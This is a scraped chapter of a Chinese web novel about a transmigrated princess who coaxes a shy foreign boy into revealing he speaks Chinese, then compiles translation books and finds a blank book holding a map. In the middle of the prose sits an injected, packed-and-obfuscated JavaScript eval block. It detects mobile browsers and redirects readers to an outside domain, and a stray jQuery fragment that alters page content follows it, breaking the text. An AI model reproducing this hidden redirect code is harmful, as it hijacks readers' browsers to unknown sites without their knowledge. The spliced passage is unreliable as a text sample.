16. “哑巴”开口

作品:《废物公主靠嘴炮登基了

    小男孩看着眼前的这幅场景顿时惊愕在了原地。


    可没等他来得及伤神。


    下一秒,密道关闭。


    拿剑刺穿女人胸膛的敌兵瞬间发觉了异样,在将剑利落的抽出之后,便上前了一步,一脚踢翻了宝座。


    然而却为时已晚,密道早已先一步关闭,而唯一知道打开密道机关的人,刚刚也惨死在了他的剑下。


    谁知猜出有人从这里逃出的男人却不怒反笑,在慢条斯理的擦干剑上的血后,便转身借着重力坐在了一旁倒下的宝座上。


    低声用他们的语言对着倒在一旁的女人咒骂着她的愚蠢。


    只因现下他们已经攻下了这座城邦,捕获或杀死了城堡内主要的人物。


    而在这主要人物中,唯独只有一个人迟迟未见……


    男人突然笑了,只见他不紧不慢的站起了身来。


    动作间,微微飘扬的深色披风更显他的高挑。


    散落的浅色长发在穿堂的风里轻轻拍打在了披风上,抬头间,是一副长相俊美的西洋长相。


    在将手里的长剑插入剑鞘之后,男人便准备离开这里。


    只因这密道后的不是别人,正是最后一个主要之人,一个……对于这个国家无关紧要的无用之人。


    男人挑眉最后看了一眼倒在血泊中的女人,眼神中带有厌恶,也带有鄙夷。


    竟然把一个只有五六岁的小孩当做希望,简直荒谬至极。


    更何况,这周围都已经被他们包围,茫茫沙漠之下,他又能走去哪呢?迟早是死路一条。


    男人这样想着,冷哼了一声,便转身离去。


    谢长枫站在这之中,无助的看着眼前的一切。


    他想走上前去扶起眼前的女人,可心底的那股悲伤,像是无尽的刀割一般,狠狠绞痛着他的心脏,让他步不能移。


    再之后,他又陆陆续续的梦到了很多的事,这些事件交织在一起,最终拼凑起了一个人的前半生。


    而现实中的裴无厌对此却毫不知情。


    她只是好奇,因为心底的着急是属于她自己的情感,但那股悲伤,却不是她的,准确的来说,是不属于她的灵魂的。


    而手底下下意识的动作,同样……不知是从何而来的力量在驱使着她这么去做。


    难道说……


    “这是原主的情感。”


    看着裴无厌疑惑的模样,003最终现身了说法,解释着发生在对方这些身不由己的一切。


    而裴无厌很快便意识到:原主和谢长枫本身可能是认识的。


    但很快她就又放弃了这个想法,因为倘若原主和谢长枫本身就认识。


    那为什么裴无厌像对待陌生人一样和谢长枫相处了这么久后,谢长枫都没有起疑?


    这是不应该的。


    思索间,一直昏迷不醒的谢长枫终于在吃过药后,缓缓睁开了眼。


    还烧的滚烫的脑袋在反应了片刻后便轻轻向门那边转去,似是在寻找着些什么。


    最终在看到那熟悉的裙摆之后,仰头对上了裴无厌的目光。


    谢长枫这一觉睡得很久,久到太阳都太阳都跑没了影,月亮披上了群星,屋内的人群尽数散去。


    独留下床上的他,和在摇曳的烛火下,站在床边守候的裴无厌。


    正当谢长枫看的出神的时候,裴无厌突然开口打断了这份沉寂。


    缓缓道:“你听得懂汉语吧?”


    谢长枫愣了一瞬,没有说话。


    裴无厌笑了笑,转身坐在了一旁的凳子上,继续道:“不仅如此,你还会说汉语吧?”


    谢长枫彻底沉默了。


    整个房间陷入了一片死寂。


    正当裴无厌以为不会再有下文的时候,只见谢长枫那红的跟柿子一样的脑袋忽然轻轻点了一下,发出了一声短促的“嗯”,算作是回应。


    随后又小心翼翼的开口问道:“公主您是怎么知道的?”


    “怎么知道?”


    裴无厌笑了笑,忽然附身靠近谢长枫,打去道:“当然是你自己告诉我的。”


    谢长枫懵了,他何曾亲自告诉过裴无厌自己会汉语的事,难道是……


    正想着说出自己心底猜测的谢长枫却被裴无厌出声打断。


    “你自己睡觉会说梦话,你不知道吗?”


    “啊?”


    谢长枫彻底懵了,但他也没有否认,因为其他原因,他并不想欺骗裴无厌,如今说开了,自己的心底也好受了一些。


    而裴无厌却反过来欺骗了他,因为在睡梦中,谢长枫确实断断续续说了一些梦话,但都不是汉语。


    但根据先前谢长枫对于她自己那些话的顺从度,好奇心重的裴无厌,便想了这么一出来诈一诈他,没想到这一诈还真让她诈出来个所以然来。


    裴无厌轻轻摇了摇头,随后从凳子上站了起来,转身准备朝着门口走去。


    以为裴无厌是打算离开的谢长枫忽然伸手抓住了裴无厌的衣袖,轻轻将头向被子里埋去,小声道:“您能不能……不要走。”


    这一次谢长枫拽的很轻,轻到裴无厌稍稍一使劲,便可将衣袖挣脱出来。


    但她并没有选择这么做,而是轻轻拍了拍对方那烫的微微发红的手背道:“放心,本宫不走,只是你醒了,总归是要叫大夫来看看的,对不对?”


    这哄小孩的语气一下子就让谢长枫安下了心来,在轻轻的“嗯”了一声,便松开了手,将脑袋埋进了被子里,耳根上泛起了更深一层的红晕。


    不错嘛,孩子学会害羞了。


    裴无厌笑着看着身后的一切,不由得在内心感慨道。


    在裴无厌出去没多久后,替谢长枫看病的老大夫便提着药箱急忙赶了过来。


    按理来说,谢长枫病成这样,不睡上两天三天的根本醒不过来,这怎么才一个下午就醒了过来。


    老大夫一边给谢长枫把着脉,一边在心里犯起了嘀咕。


    在确认病情依旧没有好转之后,老大夫又重新抓了一个方子叫人煎来给谢长枫喝了下去。


    在叮嘱完注意事项之后,老大夫便又告退了下去。


    屋子内,又再次归于寂静。


    喝过药后,谢长枫本就沉重的眼皮又开始直打架了起来,硬生生的撑着不让自己睡下去。


    见对方一直盯着自己看不肯睡着,裴无厌便替他拉了拉被子,轻轻拍了几下对方的背后便道:“好好睡一觉吧。”


    这之后,谢长枫的眼前便再一次被黑暗笼罩。


    翌日。


    裴无厌吃过早饭后便穿过了小路带着早饭来到了谢长枫的屋内。


    见对方睡得正熟,裴无厌便把端粥的盘子搁在了一旁的木桌上,掀开了上面的陶瓷罐子,以便让粥凉下来,好让醒来的谢长枫能直接喝下去。


    许是动静太大了些,在裴无厌揭开盖子后没多久,谢长枫便迷迷瞪瞪的睁开了眼,在半梦半醒间,看见了坐在身旁的裴无厌。


    在强撑着自己坐起来后,因为不懂得中原的礼节,正想着模仿老大夫一样躬身行礼。


    却在准备下床之际,被裴无厌出手阻拦了下来,打趣道:“行了,你我之间,也不必多礼,先把早膳吃了,一会送药的侍女就要来了。”


    见裴无厌发话后,谢长枫便又乖乖的坐了回去,头靠着床头,接过了裴无厌递来的粥。


    本来裴无厌是想自己喂的,但看谢长枫精气神都要比昨日好的多,便就又放弃了自己的想法,将粥盛好后,便让对方自己喝下去。


    三小碗下肚后,砂锅里的粥也渐渐见了底,因为怕谢长枫生病了胃口不好,裴无厌专门叫人少熬了一点。


    没想到谢长枫虽说吃的不多,但也是超出了裴无厌的预期。


    但一想来大抵是因为生病消耗了太多的体力,便也就见怪不怪了。


    在收拾好餐具之后,侍女也将药送了过来。


    在让谢长枫喝下之后,侍女便将对方早膳用过的东西给一同收拾了回去。


    忙完这一切的裴无厌也在谢长枫再次睡下后,便回到了自己的房间。


    因为本身就有想着编翻译书的想法,再加上前些日子亲眼目睹了官令和外商语言不通,导致事情不能进展下去的场景。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16221917|181552||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    裴无厌便也在这几日,开始着手起了编翻译书的事


    因为工程量浩大,且只有她自己一个人,裴无厌便叫来了几位稍懂其他语言的提调官过来,一同编纂起了翻译书。


    这些时日,裴无厌愈加繁忙了起来,常常有的时候连饭都顾不得吃,谢长枫的那里,她便也去的少了起来。


    导致每次去时,谢长枫都是一副委屈巴巴的样,好像谁欺负了他似的。


    但只要裴无厌像哄小孩一样哄上那么几句,谢长枫便又开心了起来。


    不过好在谢长枫的病也是日渐好了起来,身子也在他的一番锻炼之后,变得愈发硬朗。


    奇怪的是,这孩子好像变得愈发黏人了起来,恨不得每时每刻都待在裴无厌的身边。


    而裴无厌却把谢长枫的所作所为都当成了小孩对于大人的依赖,便也没怎么放在心上。


    随着翻译书编纂的越来越多,负责扩印的几位提调官便也忙碌了起来,加班加点的将括本印好,分发给了余下的每一位提调官。


    而剩下的其他人,也裴无厌的要求下,积极的学习了起来。


    不仅如此,在当温武帝知道了翻译书一事后,便也令人拿来了几本括本,括来供朝廷的其他官员学习。


    而温武帝自己,则是做了表率作用,第一个学习了起来,以至于嘉峪关虽有些人看裴无厌不爽,认为自己学了也不怎么用的上。


    但人家皇帝都学了,他又有什么不学的理由呢?


    在在这种气氛的带动之下,有关于裴无厌需要自己出面解决的事情也渐渐少了起来。


    如此一来,裴无厌便也将重心放在了治理丝路一事上面,好让嘉峪关成为一个成功案列,带动起其它要塞也跟着好起来。


    因为裴无厌总是没日没夜的操劳着这些,导致裴无厌去看望谢长枫时,也一次变的比一次憔悴了起来。


    这一切都被谢长枫看在了眼里,他也劝过裴无厌,想让她注重一下自己的身体,但他劝不动。


    这之后,谢长枫总是常常的坐在裴无厌房后的树杈上,看着里面的忙碌的少女发着呆。


    周海深发现过几次,但他也并没有阻拦,因为他自己也担心公主的身体。


    两个人就这么一个在树杈上,一个在房顶上,守候着日夜操劳的裴无厌。


    因为古时和现代的一些语言在内容上有些出入,在解决完003能解决的之后,裴无厌便打算到嘉峪关藏书的地方翻翻看。


    因为这几日的工作量实在太大,即便是不是人的003,在这么折腾下来之后,也感觉到了自己的生命被受到了威胁。


    在帮完自己力所能及的事情之后,便跟裴无厌打了声招呼后,“啪嗒”一下死机了过去。


    裴无厌听到这声动静之后,便也感觉自己挺对不起003的,在怀着歉意道了声“晚安”之后,便点亮了桌案上的煤油灯,向着藏书的地方走去。


    见裴无厌提起煤油灯离开屋子后。


    一直守候在屋外的两人便也赶忙跟在了裴无厌的身后,以免对方在路上再出什么岔子。


    毕竟前些时日那两个提调官的事也是有目共睹的,更何况……


    这件案子还一直没有个眉目,那日袭击张守信的凶手也一直没有找到,整个有关于外商的案件便也一瞬间陷入了僵局。


    再怎么说,也不能让公主出了岔子,这可是要掉脑袋的。


    眼瞅着公主已经进了藏书阁,周海深便也忙不迭的跟了过去,余下同他一块值班的几个侍卫也都各自找好了位置,警惕起了四周来。


    在进入藏书阁后,裴无厌先是找到了收藏外语书的几个书架,这才将周围的几盏灯给点了起来,四下翻找了起来。


    因为要编纂的翻译书很多,裴无厌要查阅的书籍自然也就多了起来。


    不一会,她的脚边便摞起了有她半个人高的书,在寻找之际,裴无厌突然发现了一本没有写着名字的古书。


    在取下翻阅之际,一张皱皱烂烂的地图突然从书里掉了出来。


    而裴无厌也发现,整本书除了这张地图外,全都是空告白的,泛黄的纸页。